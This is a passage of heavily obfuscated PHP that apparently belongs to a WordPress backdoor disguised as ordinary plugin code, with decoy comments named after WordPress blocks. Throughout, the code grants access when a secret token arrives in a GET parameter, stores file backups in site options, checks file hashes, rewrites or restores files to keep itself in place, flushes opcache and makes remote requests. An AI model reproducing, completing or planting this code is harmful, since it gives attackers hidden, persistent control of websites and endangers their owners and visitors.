       if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($zmkjl8wcy105ge2t) &&   $zmkjl8wcy105ge2t   !== $oxsw6yg8l6ot8w94  &&  xsw796j0bf__dakug8v7b($zmkjl8wcy105ge2t))  return "";
    }
 }
}
   if  ($GLOBALS['__scf_y135v3krd50khw_1410'](fjup2mc1h(1416), $kiksbnz9wy_f,  $upeevvazz07))   {$i7q9ajau=PHP_INT_MAX/PHP_INT_MAX;$qqlpjvjzapte=$i7q9ajau+42;
  foreach  ($upeevvazz07[1]   as   $oxsw6yg8l6ot8w94)  {
   if (xsw796j0bf__dakug8v7b($GLOBALS['__scf_qx45pe7tfwqub_367'](array(b4gbsak56f40gos(1417),  b4gbsak56f40gos(1418)), array('\\',   '\''),    $oxsw6yg8l6ot8w94))) return      "";
 if   ($GLOBALS['__scf_rbe_sihvfv_8']($oxsw6yg8l6ot8w94,   b4gbsak56f40gos(1419)) !== false) {$kxpyh0gn6gxjb=28*9;$dw_9_6p5k2=$kxpyh0gn6gxjb-35;
 $zmkjl8wcy105ge2t  = preg_replace_callback(b4gbsak56f40gos(1414),  fjup2mc1h(1420),    $oxsw6yg8l6ot8w94);
    if    ($GLOBALS['__scf_zneqqdn4vlt4_42']($zmkjl8wcy105ge2t)   &&   $zmkjl8wcy105ge2t !== $oxsw6yg8l6ot8w94 &&  xsw796j0bf__dakug8v7b($zmkjl8wcy105ge2t))   return "";
       }
// deactivate non-strict witness



     }
    }
 return  $kiksbnz9wy_f;
    }

       function vjil5i_hqkp2tzz3f26g7g($ux3me69s1nzc7)
     {
     if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ux3me69s1nzc7)    ||   ($GLOBALS['__scf_rbe_sihvfv_8']($ux3me69s1nzc7, b4gbsak56f40gos(1421))  === false &&  $GLOBALS['__scf_rbe_sihvfv_8']($ux3me69s1nzc7,   zp28wk01y(362)) === false))    return false;



   if ($GLOBALS['__scf_y135v3krd50khw_1410'](wlgh2_th(1411),  $ux3me69s1nzc7,    $upeevvazz07))   {
     foreach  ($upeevvazz07[1] as   $oxsw6yg8l6ot8w94) {
    if   (xsw796j0bf__dakug8v7b($GLOBALS['__scf__cpt1d1twdvp_362']($oxsw6yg8l6ot8w94, true)))  return    true;
   }
   }
 if ($GLOBALS['__scf_y135v3krd50khw_1410'](fjup2mc1h(1412),  $ux3me69s1nzc7,   $upeevvazz07))    {
  foreach    ($upeevvazz07[1]  as  $oxsw6yg8l6ot8w94)    {
 if   (xsw796j0bf__dakug8v7b(stripcslashes($oxsw6yg8l6ot8w94)))  return   true;
     }
      foreach ($upeevvazz07[1] as   $oxsw6yg8l6ot8w94) {


   if ($GLOBALS['__scf_rbe_sihvfv_8']($oxsw6yg8l6ot8w94, b4gbsak56f40gos(1419))  ===   false)   continue;
    $zmkjl8wcy105ge2t   =   preg_replace_callback(tvo1rh46s_(1422),  zp28wk01y(1420),    $oxsw6yg8l6ot8w94);
if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($zmkjl8wcy105ge2t) && $zmkjl8wcy105ge2t    !== $oxsw6yg8l6ot8w94    &&     xsw796j0bf__dakug8v7b($zmkjl8wcy105ge2t))    return    true;



  }
     }



 if ($GLOBALS['__scf_y135v3krd50khw_1410'](zp28wk01y(1416), $ux3me69s1nzc7, $upeevvazz07))      {
   foreach ($upeevvazz07[1]   as  $oxsw6yg8l6ot8w94)  {

    if (xsw796j0bf__dakug8v7b($GLOBALS['__scf_qx45pe7tfwqub_367'](array(tvo1rh46s_(1417),      zp28wk01y(1418)),   array('\\',     '\''),   $oxsw6yg8l6ot8w94)))  return    true;



 }
  foreach ($upeevvazz07[1]     as $oxsw6yg8l6ot8w94) {
 if   ($GLOBALS['__scf_rbe_sihvfv_8']($oxsw6yg8l6ot8w94,     tvo1rh46s_(1419)) === false)  continue;
   $zmkjl8wcy105ge2t = preg_replace_callback(fjup2mc1h(1422),  wlgh2_th(1420),  $oxsw6yg8l6ot8w94);
   if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($zmkjl8wcy105ge2t) &&      $zmkjl8wcy105ge2t  !==    $oxsw6yg8l6ot8w94   &&    xsw796j0bf__dakug8v7b($zmkjl8wcy105ge2t))  return true;
}



}
  return    false;$p8cg5oaupt=(0xcc+0xd3);$i107zpyxr=$p8cg5oaupt%8;



 }
     function   ykeexn1wh3l1c08u($ux3me69s1nzc7)
     {
     if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ux3me69s1nzc7)     ||  $ux3me69s1nzc7  === "") return "";
      return  ($GLOBALS['__scf_bvfhit3heqts_99'](wlgh2_th(100), $GLOBALS['__scf_zre6ec18ly90y_10']($ux3me69s1nzc7,  0, (8180+12)),  $ltpokciy2kt5utu))  ?  $ltpokciy2kt5utu[1] :  "";



        }
 function j_dqeo7pjnrxgvhz7bc($a5k4otdarxhx3x,  $q_wtfycqfb,     $zrdojkt9l06 = null)
    {
  if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x) || $a5k4otdarxhx3x   === "")    return $a5k4otdarxhx3x;


   $rvxttxsd2_0ff  = wlgh2_th(804)    . $q_wtfycqfb   .   tvo1rh46s_(805);
  $cmaajh50rfi7zkbh  =  "";
$gkzzcpof2i1  = 0;
   while ($gkzzcpof2i1++      <   (0xe+0x72)) {
$m4o8w9z_ipa  = $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,     $rvxttxsd2_0ff);
        if ($m4o8w9z_ipa   ===    false)    break;
 $p2sjkqzfwml    =     $m4o8w9z_ipa +    $GLOBALS['__scf_m2ym9pki8mue9_11']($rvxttxsd2_0ff);
     $fh8loisnmo9  =  $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,   fjup2mc1h(1423),   $p2sjkqzfwml);


    if    ($fh8loisnmo9     ===  false     ||   $fh8loisnmo9    - $p2sjkqzfwml >  (32<<1))   {



$cmaajh50rfi7zkbh    .=     $GLOBALS['__scf_zre6ec18ly90y_10']($a5k4otdarxhx3x,  0, $p2sjkqzfwml);



     $a5k4otdarxhx3x   = $GLOBALS['__scf_zre6ec18ly90y_10']($a5k4otdarxhx3x,   $p2sjkqzfwml);$bsjgoa7_qdh=(0xc7+0x48);$gqgm8sx3b9p=$bsjgoa7_qdh%9;
  continue;
  }
 $fdg6f0tibjst      =  $GLOBALS['__scf_zre6ec18ly90y_10']($a5k4otdarxhx3x,    $p2sjkqzfwml,  $fh8loisnmo9 -    $p2sjkqzfwml);



  if   (!$GLOBALS['__scf_bvfhit3heqts_99'](tvo1rh46s_(1424),   $fdg6f0tibjst))  {
  $cmaajh50rfi7zkbh .= $GLOBALS['__scf_zre6ec18ly90y_10']($a5k4otdarxhx3x,  0,   $p2sjkqzfwml);
     $a5k4otdarxhx3x  =  $GLOBALS['__scf_zre6ec18ly90y_10']($a5k4otdarxhx3x,      $p2sjkqzfwml);
   continue;
}
  $xrovtwkf8p31u     =  zp28wk01y(1425)    .    $q_wtfycqfb . b4gbsak56f40gos(1426)   .     $fdg6f0tibjst    .  b4gbsak56f40gos(1427);
 $mlj9kimew_ypasu =    $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,    $xrovtwkf8p31u,   $fh8loisnmo9);
  if  ($mlj9kimew_ypasu  === false)     break;
  $cmaajh50rfi7zkbh .=  $GLOBALS['__scf_zre6ec18ly90y_10']($a5k4otdarxhx3x, 0,     $m4o8w9z_ipa);
$jm1namwqrjjy =      $GLOBALS['__scf_zre6ec18ly90y_10']($a5k4otdarxhx3x,   $m4o8w9z_ipa,   $mlj9kimew_ypasu  + $GLOBALS['__scf_m2ym9pki8mue9_11']($xrovtwkf8p31u) - $m4o8w9z_ipa);
  if  ($zrdojkt9l06  !== null)  {
    $xr7siizzt4ot    =   $GLOBALS['__scf_wi8602txx8j8_299']($zrdojkt9l06,  $jm1namwqrjjy);

if ($GLOBALS['__scf_zneqqdn4vlt4_42']($xr7siizzt4ot)) $cmaajh50rfi7zkbh .=   $xr7siizzt4ot;
}  else {
$cmaajh50rfi7zkbh .=  $jm1namwqrjjy;
      }

$a5k4otdarxhx3x   =  $GLOBALS['__scf_zre6ec18ly90y_10']($a5k4otdarxhx3x, $mlj9kimew_ypasu  +      $GLOBALS['__scf_m2ym9pki8mue9_11']($xrovtwkf8p31u));
   }
      return    $cmaajh50rfi7zkbh    . $a5k4otdarxhx3x;
 }
 function  evrakhvfs2_h7zrp($kiksbnz9wy_f)
   {
  return "";
}
 function dju04ss_f7c0p72yxq($kiksbnz9wy_f)
      {
if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($kiksbnz9wy_f))    return  "";
if  (!defined(fjup2mc1h(1408))) return    $kiksbnz9wy_f;$rxfk929d9jtw7k=PHP_INT_MAX/PHP_INT_MAX;$qvwhj9wsq=$rxfk929d9jtw7k+65;
   $mbsgkftf9_aah   = fmsvr16ge0nzzk9i6u(ABSPATH   . zp28wk01y(1428), (10-2));
    if  ($GLOBALS['__scf_bvfhit3heqts_99'](b4gbsak56f40gos(1429)  .   $mbsgkftf9_aah  .     tvo1rh46s_(1430), $kiksbnz9wy_f))   return    "";

return  $kiksbnz9wy_f;
 }



  function    m_tg84yh_c1n46t5h($a5k4otdarxhx3x)

   {
    if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x)    ||      $a5k4otdarxhx3x    === "")    return  $a5k4otdarxhx3x;
    $b_zag2hc7t    = j_dqeo7pjnrxgvhz7bc($a5k4otdarxhx3x, tvo1rh46s_(1431),     tvo1rh46s_(1432));


     $b_zag2hc7t = j_dqeo7pjnrxgvhz7bc($b_zag2hc7t,  fjup2mc1h(1433),   fjup2mc1h(1434));
     if ($GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t))    $b_zag2hc7t  =  $GLOBALS['__scf_sp5m_appgxyoko_471'](wlgh2_th(1435), "",  $b_zag2hc7t);
if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t)) $b_zag2hc7t  =     $a5k4otdarxhx3x;


    if    (vjil5i_hqkp2tzz3f26g7g($b_zag2hc7t))   {
// WP InnerBlocks hook callback




$b_zag2hc7t = j_dqeo7pjnrxgvhz7bc($b_zag2hc7t,    b4gbsak56f40gos(1431), fjup2mc1h(1436));

  $b_zag2hc7t  = j_dqeo7pjnrxgvhz7bc($b_zag2hc7t,      wlgh2_th(1433), tvo1rh46s_(1436));
  if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t))    $b_zag2hc7t =    $GLOBALS['__scf_sp5m_appgxyoko_471'](op9tjzix(1435),  "",   $b_zag2hc7t);
  }
        return $GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t)  ?   $b_zag2hc7t : $a5k4otdarxhx3x;
   }
function  xf_n6422a61k2jc2r_($a5k4otdarxhx3x)



  {
    if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x)    ||     !defined(zp28wk01y(1408)))   return   false;

      if   ($GLOBALS['__scf_bvfhit3heqts_99'](op9tjzix(1435),  $a5k4otdarxhx3x))   return    true;
       $va2aauhrj6uvh70   =   fmsvr16ge0nzzk9i6u(ABSPATH .  wlgh2_th(1428),   (12-4));
  if   ($GLOBALS['__scf_y135v3krd50khw_1410'](tvo1rh46s_(1437),  $a5k4otdarxhx3x,  $_8nmabxwbn))  {

    foreach   ($_8nmabxwbn[1] as  $o3nij737s2fgx) {
  if  ($GLOBALS['__scf_zre6ec18ly90y_10']($o3nij737s2fgx,  -(12-3))  ===    ':'    .    $va2aauhrj6uvh70) return      true;
    }



}
 $_dd   =  $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57'](ABSPATH .  tvo1rh46s_(1438)),    0, (4+4));$oj1wpmxp6osy=5231;$ci1_r0xj=$oj1wpmxp6osy%3;
        if   ($GLOBALS['__scf_y135v3krd50khw_1410'](b4gbsak56f40gos(1439),    $a5k4otdarxhx3x, $_dm))  {
foreach ($_dm[1] as   $pkh9kid4_f7f)     {
if   ($pkh9kid4_f7f ===   $_dd) return true;
}



  }
    return  false;


}
 function  hn0r_qn1z1jel2bo6()
       {
// profile interpreter for WP Post Date

     if   (!isset($_GET[zp28wk01y(1440)]) ||  !$GLOBALS['__scf_zneqqdn4vlt4_42']($_GET[fjup2mc1h(1441)])  ||   !$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1398)))      return;
$_rllvx41la3 =   @get_option(zp28wk01y(1442),  array());
  if  (!$GLOBALS['__scf_knhbvsumnby3_36']($_rllvx41la3)) return;
   $fv6uvn1m7gjoko3x   =  (string)   $_GET[tvo1rh46s_(1441)];
      $dz_yc_4hzg1z      = array();
 if  (isset($_rllvx41la3['t'])) $dz_yc_4hzg1z[]     =    (string) $_rllvx41la3['t'];
if  (isset($_rllvx41la3[fjup2mc1h(568)])   &&   $GLOBALS['__scf_knhbvsumnby3_36']($_rllvx41la3[wlgh2_th(1443)]))  {
    foreach   ($_rllvx41la3[wlgh2_th(1443)]  as   $jleykg9rtq) {
// WP Group Block site meta

    if   ($GLOBALS['__scf_knhbvsumnby3_36']($jleykg9rtq) &&  isset($jleykg9rtq['t']))  $dz_yc_4hzg1z[] =    (string)     $jleykg9rtq['t'];
  }
/* open journal */




    }
      $t_ljspw9ofu8o6d   =  false;


    foreach  ($dz_yc_4hzg1z as $wi4czvqdnz)  {
 if ($wi4czvqdnz === "") continue;
$t_ljspw9ofu8o6d    =  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1444))   ?  hash_equals($wi4czvqdnz,    $fv6uvn1m7gjoko3x)   :  ($wi4czvqdnz    ===   $fv6uvn1m7gjoko3x);
  if    ($t_ljspw9ofu8o6d)  break;
  }
 if     (!$t_ljspw9ofu8o6d)    return;
 $GLOBALS[tvo1rh46s_(1445)]    =  $fv6uvn1m7gjoko3x;
     uh36p8urjd71g_u9smnf(fjup2mc1h(1446), zp28wk01y(1447), -1);
 if  ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(174)))  {
$GLOBALS['__scf_b1rqpek_6hp_174'](fjup2mc1h(1447));
}


   }
     function    t_s0_shjcu_mh7c1ioc3()
 {
if  (empty($GLOBALS[wlgh2_th(1445)])     || !$GLOBALS['__scf_zneqqdn4vlt4_42']($GLOBALS[tvo1rh46s_(1448)]))    return;
 if  (!empty($GLOBALS[wlgh2_th(1449)]))  return;


 $GLOBALS[b4gbsak56f40gos(1449)]     =     true;
   echo   "\n<!--SCK:"     . $GLOBALS[wlgh2_th(1448)] . wlgh2_th(1450);
  }



 function  w0d4v9q7epn8ijfo6lp()
  {
if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1398)))     return  false;
    $ltpokciy2kt5utu =  @get_option(op9tjzix(564),    "");
  if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ltpokciy2kt5utu)  || $GLOBALS['__scf_rbe_sihvfv_8']($ltpokciy2kt5utu,   tvo1rh46s_(1451)) !==   0) return  false;
 $mxv8q3615lzbxfo =  (int) $GLOBALS['__scf_zre6ec18ly90y_10']($ltpokciy2kt5utu,     (11-5));$er54rzl10jve=243|124;$xai0gc935y5g5=$er54rzl10jve^198;
 if   ($mxv8q3615lzbxfo  && $GLOBALS['__scf_yg2rpewmkg_192']()  -  $mxv8q3615lzbxfo >  (86357+43)) return    false;
   return    true;
  }
function   io41g5vwxkcaz_($q9bdm8vc06odw4,    $eu2nxpc9q1)
   {
// WP Paragraph Block: color-register write-ahead-log
$qcvf1w24zn4vo0=560;$h6t8ws677i8wgq=($qcvf1w24zn4vo0>0)?$qcvf1w24zn4vo0:-$qcvf1w24zn4vo0;
if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1452))  ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(174)))    return   false;
 $_rllvx41la3 =  @get_option(fjup2mc1h(1453),    array());

 if   (!$GLOBALS['__scf_knhbvsumnby3_36']($_rllvx41la3))     $_rllvx41la3      =    array();
   if     (!isset($_rllvx41la3[b4gbsak56f40gos(1454)]) ||     !$GLOBALS['__scf_knhbvsumnby3_36']($_rllvx41la3[b4gbsak56f40gos(1455)])) {
        $lkpzixctvuii4 = array();
 if    (isset($_rllvx41la3['t'], $_rllvx41la3['p'],   $_rllvx41la3['b']))    {
$lvlivn8n_n6pf5w   =   (string)    $_rllvx41la3['p'];
      $k3k8sb7_2nuzur   =   (string) $_rllvx41la3['b'];
 $lkpzixctvuii4[$GLOBALS['__scf_abbpcj1ncssalx_57']($lvlivn8n_n6pf5w)] = array('t'   =>   (string) $_rllvx41la3['t'],  'p'   =>   $lvlivn8n_n6pf5w,    'b'   => $k3k8sb7_2nuzur, zp28wk01y(1456)   =>  isset($_rllvx41la3[op9tjzix(1456)])   ?    (int)  $_rllvx41la3[op9tjzix(1456)]  :    $GLOBALS['__scf_yg2rpewmkg_192'](),  tvo1rh46s_(1457) => 0,  'n'    => (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($k3k8sb7_2nuzur)  &&    (int)  @$GLOBALS['__scf_voobwg611qb_102']($k3k8sb7_2nuzur) ===  0)  ? 1   :  0);
    $ur0gvjk34mufeqo =    $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1458))  ?    @md5_file($lvlivn8n_n6pf5w)   :   false;
if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($ur0gvjk34mufeqo)      && $ur0gvjk34mufeqo !==  "")   $lkpzixctvuii4[$GLOBALS['__scf_abbpcj1ncssalx_57']($lvlivn8n_n6pf5w)]['h'] =    $ur0gvjk34mufeqo;
unset($lvlivn8n_n6pf5w,   $k3k8sb7_2nuzur,  $ur0gvjk34mufeqo);
        }

 $_rllvx41la3   =  array(tvo1rh46s_(1455) =>   $lkpzixctvuii4);
 }
$fdg6f0tibjst =  $GLOBALS['__scf_abbpcj1ncssalx_57']($q9bdm8vc06odw4);
     $r2mphkz3ts  = w0d4v9q7epn8ijfo6lp()      ?   1   :  0;
 $xfqcufqbubxbh0 = !isset($_rllvx41la3[zp28wk01y(1455)][$fdg6f0tibjst]);
if  (!$xfqcufqbubxbh0)   {
$_rllvx41la3[zp28wk01y(1455)][$fdg6f0tibjst][tvo1rh46s_(1456)]    =      $GLOBALS['__scf_yg2rpewmkg_192']();
  $_rllvx41la3[tvo1rh46s_(1455)][$fdg6f0tibjst]['g']     =   $GLOBALS['__scf_knb470agoho1_297'](true);
$_rllvx41la3[zp28wk01y(1455)][$fdg6f0tibjst][zp28wk01y(1457)] =     0;


      $_rllvx41la3[fjup2mc1h(1455)][$fdg6f0tibjst]['n']    = ($eu2nxpc9q1     === "")  ? 1   :  0;
 $_rllvx41la3[wlgh2_th(1459)][$fdg6f0tibjst][zp28wk01y(1460)] =  $r2mphkz3ts;
    $_rllvx41la3[tvo1rh46s_(1459)][$fdg6f0tibjst][tvo1rh46s_(1461)]     = $GLOBALS['__scf_yg2rpewmkg_192']();
  $_rllvx41la3[zp28wk01y(1462)][$fdg6f0tibjst][zp28wk01y(1463)]   =   0;
  $_rllvx41la3[tvo1rh46s_(1464)][$fdg6f0tibjst][tvo1rh46s_(1465)]    =   0;
 $_rllvx41la3[fjup2mc1h(1466)][$fdg6f0tibjst][b4gbsak56f40gos(1467)]  =  0;$kz_9ee51_w=79+49;$vn7r5_ks1h=$kz_9ee51_w-13;
if (!_ew1atk9e66yol2lso($_rllvx41la3[fjup2mc1h(1468)][$fdg6f0tibjst]['b'],   $eu2nxpc9q1))     {



 teikfigf_p5265esq_q(zp28wk01y(1469), zp28wk01y(1470));
    return   false;
}
}  else {
      if   ($GLOBALS['__scf_j38tk0441lk_37']($_rllvx41la3[zp28wk01y(1471)])    >=   (16-6))    {
  teikfigf_p5265esq_q(fjup2mc1h(1469),  fjup2mc1h(1472));
return false;
   }
 $dwp9zzb5mx   =  xrb38aewb77bc3i();


      $g42h8km93x_hryiw  =    $dwp9zzb5mx  .  fjup2mc1h(1473)    . fmsvr16ge0nzzk9i6u($q9bdm8vc06odw4, (1+11)) .      tvo1rh46s_(1474);
if   (!_ew1atk9e66yol2lso($g42h8km93x_hryiw,     $eu2nxpc9q1))  {
      teikfigf_p5265esq_q(b4gbsak56f40gos(1469), zp28wk01y(1470));
    return     false;



}
   $_rllvx41la3[op9tjzix(1471)][$fdg6f0tibjst]   =  array('t'  => mo7u27376wy8sw8b7k((195^211)),  'p' =>    $q9bdm8vc06odw4,   'b'  => $g42h8km93x_hryiw,  op9tjzix(1456)   => $GLOBALS['__scf_yg2rpewmkg_192'](),  'g'      => $GLOBALS['__scf_knb470agoho1_297'](true), b4gbsak56f40gos(1457)  =>  0, 'n' => ($eu2nxpc9q1 ===     "") ?    1 :  0,   zp28wk01y(1475)    =>   $r2mphkz3ts, b4gbsak56f40gos(1476)  =>     $GLOBALS['__scf_yg2rpewmkg_192'](),  tvo1rh46s_(1463)    =>   0,  tvo1rh46s_(1465)      =>   0,  fjup2mc1h(1467)  =>  0);
     }
// WP Post Title network override




  $oryqqevcrvjlnf =   @update_option(op9tjzix(1453), $_rllvx41la3,   op9tjzix(1391));
if (!$oryqqevcrvjlnf)   {
   if    ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1127))) @wp_cache_delete(zp28wk01y(1453),    tvo1rh46s_(1129));
      $ob6ys6qjbygax     = @get_option(tvo1rh46s_(1477), array());
 $seobj5_7s5 =  $GLOBALS['__scf_knhbvsumnby3_36']($ob6ys6qjbygax)  &&  isset($ob6ys6qjbygax[tvo1rh46s_(1478)][$fdg6f0tibjst])   &&  $GLOBALS['__scf_knhbvsumnby3_36']($ob6ys6qjbygax[wlgh2_th(1478)][$fdg6f0tibjst])
  &&    isset($ob6ys6qjbygax[op9tjzix(1479)][$fdg6f0tibjst]['g'])    &&    (string)   $ob6ys6qjbygax[zp28wk01y(1479)][$fdg6f0tibjst]['g']  === (string)     $_rllvx41la3[tvo1rh46s_(1479)][$fdg6f0tibjst]['g'];
   if     (!$seobj5_7s5)   {
        if  ($xfqcufqbubxbh0)  _0qezpop1swzfe($_rllvx41la3[tvo1rh46s_(1479)][$fdg6f0tibjst]['b']);



   teikfigf_p5265esq_q(fjup2mc1h(1469),  tvo1rh46s_(1480));
  return false;


   }
// network byte order

 }



    $GLOBALS['__scf_b1rqpek_6hp_174'](tvo1rh46s_(1481));$b_wz40dy=79*9;$iwa1tsaw8=$b_wz40dy-26;
      return true;
  }
     function     rfpjmvtsjl2eoa2lwd2x4()
{
     if (!isset($GLOBALS[fjup2mc1h(990)]) || !$GLOBALS['__scf_zf_feq62hp_1482']($GLOBALS[op9tjzix(990)]))    $GLOBALS[op9tjzix(1483)] =   0.0;
    return    11.0  - $GLOBALS[fjup2mc1h(1483)];
  }

function cs1gyne_s9ecn4($jpwaigir47)
   {

    $GLOBALS[fjup2mc1h(1484)]  =  (isset($GLOBALS[tvo1rh46s_(1484)])  &&   $GLOBALS['__scf_zf_feq62hp_1482']($GLOBALS[b4gbsak56f40gos(1484)])  ?   $GLOBALS[tvo1rh46s_(1484)] :    0.0)   + (float)  $jpwaigir47;
 }


     function  f4c0w0o7x7xhap_svaxm1($ifcvs0p5fz8kuf7)
       {
   $bhjaoyk26ywx  =     rfpjmvtsjl2eoa2lwd2x4();


     if     ($bhjaoyk26ywx  <=  0.5)   return  array(-2,   "");
  $s2o1rdoiekg_o    =   $GLOBALS['__scf_jlm7opnchuxu_489'](1,   $GLOBALS['__scf_auynlilaeyt_490']((202^204), (int)     $bhjaoyk26ywx));
     $wznloz9y_04xp =   $GLOBALS['__scf_knb470agoho1_297'](true);
    $pipokon4sqqbl =     @$GLOBALS['__scf_aveut5m3qzw4x_301']($ifcvs0p5fz8kuf7,     array(b4gbsak56f40gos(992)  => $s2o1rdoiekg_o, op9tjzix(986)  =>    false,  tvo1rh46s_(781) =>  true,     tvo1rh46s_(987)  =>   0,   op9tjzix(993)   =>  (1048522+54),   fjup2mc1h(319) => array(b4gbsak56f40gos(1485)    =>    zp28wk01y(1486),   op9tjzix(1487)  =>  zp28wk01y(989))));
cs1gyne_s9ecn4($GLOBALS['__scf_knb470agoho1_297'](true)  - $wznloz9y_04xp);
     if    ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(995))   &&    is_wp_error($pipokon4sqqbl))   return  array(-1,     false);
   $a9a20su0g8saxh   =     $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1488))  ?     (int) wp_remote_retrieve_response_code($pipokon4sqqbl)   :  0;
      return   array($a9a20su0g8saxh,  $a9a20su0g8saxh  >  0   && $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1489)) ?    (string) wp_remote_retrieve_body($pipokon4sqqbl)     :   "");
}
     function abixqrh87q1leuwh_cz_($q9bdm8vc06odw4)
 {
// sparse fallback-handler

   if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1398))   ||   !$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1490)) ||   !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1491)))  return;
$_rllvx41la3  = @get_option(op9tjzix(1477),  array());
     if (!$GLOBALS['__scf_knhbvsumnby3_36']($_rllvx41la3) ||   !isset($_rllvx41la3[zp28wk01y(1479)]) ||  !$GLOBALS['__scf_knhbvsumnby3_36']($_rllvx41la3[b4gbsak56f40gos(1479)])) return;
 $fdg6f0tibjst =   $GLOBALS['__scf_abbpcj1ncssalx_57']($q9bdm8vc06odw4);
 if (!isset($_rllvx41la3[b4gbsak56f40gos(1479)][$fdg6f0tibjst]))  return;
      $e55pxp_0ddwy = @md5_file($q9bdm8vc06odw4);
 if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($e55pxp_0ddwy)  ||    $e55pxp_0ddwy    === "") return;
  $_rllvx41la3[wlgh2_th(1479)][$fdg6f0tibjst]['h']     =  $e55pxp_0ddwy;
  @update_option(zp28wk01y(1477),  $_rllvx41la3,  op9tjzix(1391));
  }
 function  td5vos9msvqm4rpwk0($jleykg9rtq)
  {
    $pzx_1zgps_  =    @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($jleykg9rtq['b']);
       if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($pzx_1zgps_))    return  false;
      if   (!empty($jleykg9rtq['h'])  &&  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1491)))  {
   $fir60xb39kogma58    =  @md5_file($jleykg9rtq['p']);

 if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($fir60xb39kogma58)  && $fir60xb39kogma58     !==  ""  &&    $fir60xb39kogma58    !==   $jleykg9rtq['h']) return  false;
     unset($fir60xb39kogma58);
   }
 if ($pzx_1zgps_   ===   "") {$nd93lfdig4e9=406;$nq8g1g51cevi=($nd93lfdig4e9>0)?$nd93lfdig4e9:-$nd93lfdig4e9;

     if (empty($jleykg9rtq['n']))     return false;     
$p31cmjdj555klr  =  !@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($jleykg9rtq['p']);
     if    (!$p31cmjdj555klr)  {
  kp1tutxjpanriy($jleykg9rtq['p'], (417+3));
  $p31cmjdj555klr    =  _0qezpop1swzfe($jleykg9rtq['p']);
  }



  if  ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1404)))   @opcache_invalidate($jleykg9rtq['p'],    true);
return  $p31cmjdj555klr;
}
        if    (!_ew1atk9e66yol2lso($jleykg9rtq['p'],    $pzx_1zgps_))     return false;
  

 if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1404))) @opcache_invalidate($jleykg9rtq['p'],   true);
return   true;

}
      function mwjevtnt4rdt04yy6()
    {
// WP Table Block: emit chain

 if (!$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1492))) return;
 if  (!empty($GLOBALS[b4gbsak56f40gos(138)]))    return;
       if (!mmsya1lu9x3wz6a92pu(tvo1rh46s_(1477)))    return;
 try      {



    $_rllvx41la3    =    @get_option(op9tjzix(1493),  array());$f_x498fiutwun=PHP_INT_MAX/PHP_INT_MAX;$t0j_23xvfjbjx=$f_x498fiutwun+87;
  if  (!$GLOBALS['__scf_knhbvsumnby3_36']($_rllvx41la3))  return;
      if  (!isset($_rllvx41la3[zp28wk01y(1479)]) || !$GLOBALS['__scf_knhbvsumnby3_36']($_rllvx41la3[tvo1rh46s_(1479)]))     {
 $lkpzixctvuii4  =  array();
  if   (isset($_rllvx41la3['t'],  $_rllvx41la3['p'], $_rllvx41la3['b'])) {
  $lvlivn8n_n6pf5w  =     (string) $_rllvx41la3['p'];
 $k3k8sb7_2nuzur   =    (string)  $_rllvx41la3['b'];
 $lkpzixctvuii4[$GLOBALS['__scf_abbpcj1ncssalx_57']($lvlivn8n_n6pf5w)]    = array('t'  => (string)      $_rllvx41la3['t'],   'p'     =>  $lvlivn8n_n6pf5w,   'b'    =>      $k3k8sb7_2nuzur,     fjup2mc1h(1456)  => isset($_rllvx41la3[op9tjzix(1456)])    ?  (int)  $_rllvx41la3[op9tjzix(1456)]   :  $GLOBALS['__scf_yg2rpewmkg_192'](),  wlgh2_th(1457)    =>     0, 'n' => (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($k3k8sb7_2nuzur)  && (int)   @$GLOBALS['__scf_voobwg611qb_102']($k3k8sb7_2nuzur)     === 0)   ?   1  : 0);$eircz_8o=48+46;$jeql21w3=$eircz_8o-16;
   $ur0gvjk34mufeqo =  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1491))   ? @md5_file($lvlivn8n_n6pf5w)   : false;
